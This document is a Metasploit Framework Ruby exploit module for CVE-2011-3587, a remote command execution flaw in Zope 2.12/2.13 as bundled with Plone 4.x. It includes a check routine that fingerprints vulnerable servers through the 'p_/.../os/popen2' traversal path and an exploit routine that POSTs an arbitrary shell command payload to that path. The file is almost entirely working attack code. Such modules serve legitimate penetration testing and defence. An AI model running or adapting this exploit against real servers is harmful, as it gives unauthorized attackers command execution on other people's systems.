## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Plone and Zope XMLTools Remote Command Execution', 'Description' => %q{ Unspecified vulnerability in Zope 2.12.x and 2.13.x, as used in Plone 4.0.x through 4.0.9, 4.1, and 4.2 through 4.2a2, allows remote attackers to execute arbitrary commands via vectors related to the p_ class in OFS/misc_.py and the use of Python modules. }, 'License' => MSF_LICENSE, 'Author' => [ 'Plone Security team', # Vulnerability discovery 'Nick Miles', # Original exploit 'TecR0c ' # Metasploit module ], 'References' => [ ['CVE', '2011-3587'], ['OSVDB', '76105'], ['EDB', '18262'], ['URL', 'http://plone.org/products/plone/security/advisories/20110928'] ], 'Privileged' => false, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet perl ruby python', } }, 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic',{}]], 'DisclosureDate' => 'Oct 04 2011', 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(8080), OptString.new('URI',[true, "The path to the Plone installation", "/"]), ],self.class) register_autofilter_ports([ 8080 ]) end def check uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') res = send_request_raw( { 'uri' => uri }, 25) if (res.headers['Bobo-Exception-Type'].to_s =~ /zExceptions.BadRequest/) return Exploit::CheckCode::Vulnerable end # patched == zExceptions.NotFound return Exploit::CheckCode::Safe end def exploit uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') send_request_cgi( { 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'cmd' => payload.encoded, } }, 0.5) # short timeout, we don't care about the response end end